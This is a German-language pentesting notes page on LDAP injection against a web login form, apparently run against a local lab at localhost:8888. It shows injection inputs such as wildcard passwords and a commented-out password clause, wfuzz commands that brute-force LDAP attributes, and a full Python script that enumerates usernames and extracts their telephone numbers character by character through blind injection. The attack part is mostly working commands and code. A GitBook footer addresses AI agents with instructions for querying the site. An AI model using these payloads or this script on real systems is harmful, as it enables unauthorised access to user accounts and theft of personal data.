> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).

# LDAP-Techniken

Hier sind einige Möglichkeiten, diese Schwachstelle auszunutzen:

1. Wenn man die **Benutzer-ID** und das Symbol /\* als Passwort verwendet (das für alles steht):

<figure><img src="/files/be0c208c76b139b3cbdc7b80bc645bacd7379f08" alt="" width="517"><figcaption></figcaption></figure>

2. Wenn man die **Anfang der Benutzer-ID** und indem man dann das Symbol /\* hinzufügt:

<figure><img src="/files/9ccf9d6843d56af58d3aee4d9651837fd0718717" alt=""><figcaption></figcaption></figure>

3. Durch Eingabe einer **gültigen Benutzer-ID** und indem man das erforderliche Passwort-Feld der Abfrage auskommentiert:

<figure><img src="/files/dddf6da34e0a1c127a79fc4eeb4d787bfb8a6bb7" alt=""><figcaption></figcaption></figure>

## Brute-Force-Angriff:

* Mit **Wfuzz**, können wir einen Angriff durchführen, indem wir **Brute Force** um alle **Attribute**:

```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/176701158157a0a5ead12cc5517636c911541110" alt="" width="375"><figcaption></figcaption></figure>

Sobald wir die Attribute mit **Wfuzz** und den **LDAP** Einfügestelle im Passwortfeld kennen, können wir nach dem ersten Zeichen filtern. In diesem Fall tun wir das mit der **Telefonnummer**:

```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/ac3ddf448e7eac3f5d42f0fc00ab93330f844b63" alt="" width="507"><figcaption></figcaption></figure>

## Automatisiertes Python-Skript:

```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
    print("/n/n[+] Beenden.../n")
    sys.exit(1)
# LDAP-Techniken
signal.signal(signal.SIGINT, def_handler)
# LDAP-Techniken
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
    characters = string.ascii_lowercase
    initial_users = []
    for character in characters:
        post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
        r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
        if r.status_code == 301:
            initial_users.append(character)
    return initial_users
def getUsers(initial_users):
    characters = string.ascii_lowercase + string.digits
    users = []
    for initial_user in initial_users:
        user = initial_user
        for i in range(0, 15):
            for character in characters:
                post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
                r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
                if r.status_code == 301:
                    user += character
                    break
        users.append(user)
    print("/n")
    for user in users:
        log.info('Gültiger Benutzer gefunden: %s' % user)
    print("/n")
    return users
def getTelephoneNumber(users):
    characters = string.digits
    telephone_numbers = []
    p1 = log.progress("Abrufen von Telefonnummern aus lokalem LDAP")
    p1.status("Brute-Force-Angriff wird gestartet")
    p2 = log.progress("Abrufen der Telefonnummer")
    for user in users:
        telf = ''
        for i in range(0, 9):
            for character in characters:
                post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
                r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
                p1.status("[+] Telefonnummer für den Benutzer wird abgerufen: %s | %s" % (user, post_data))
                if r.status_code == 301:
                    telf += character
                    p2.status("Telefonnummer: %s" % telf)
                    break
        telephone_numbers.append(telf)
    p2.success("Die erhaltenen Nummern sind: %s " % telephone_numbers)
if __name__ == "__main__":
    initial_users = initial_users()
    getUsers = getUsers(initial_users)
    getTelephoneNumber = getTelephoneNumber(getUsers)

```

<figure><img src="/files/030c024417737ce3f75ef10e6c5178e8a856dbcb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
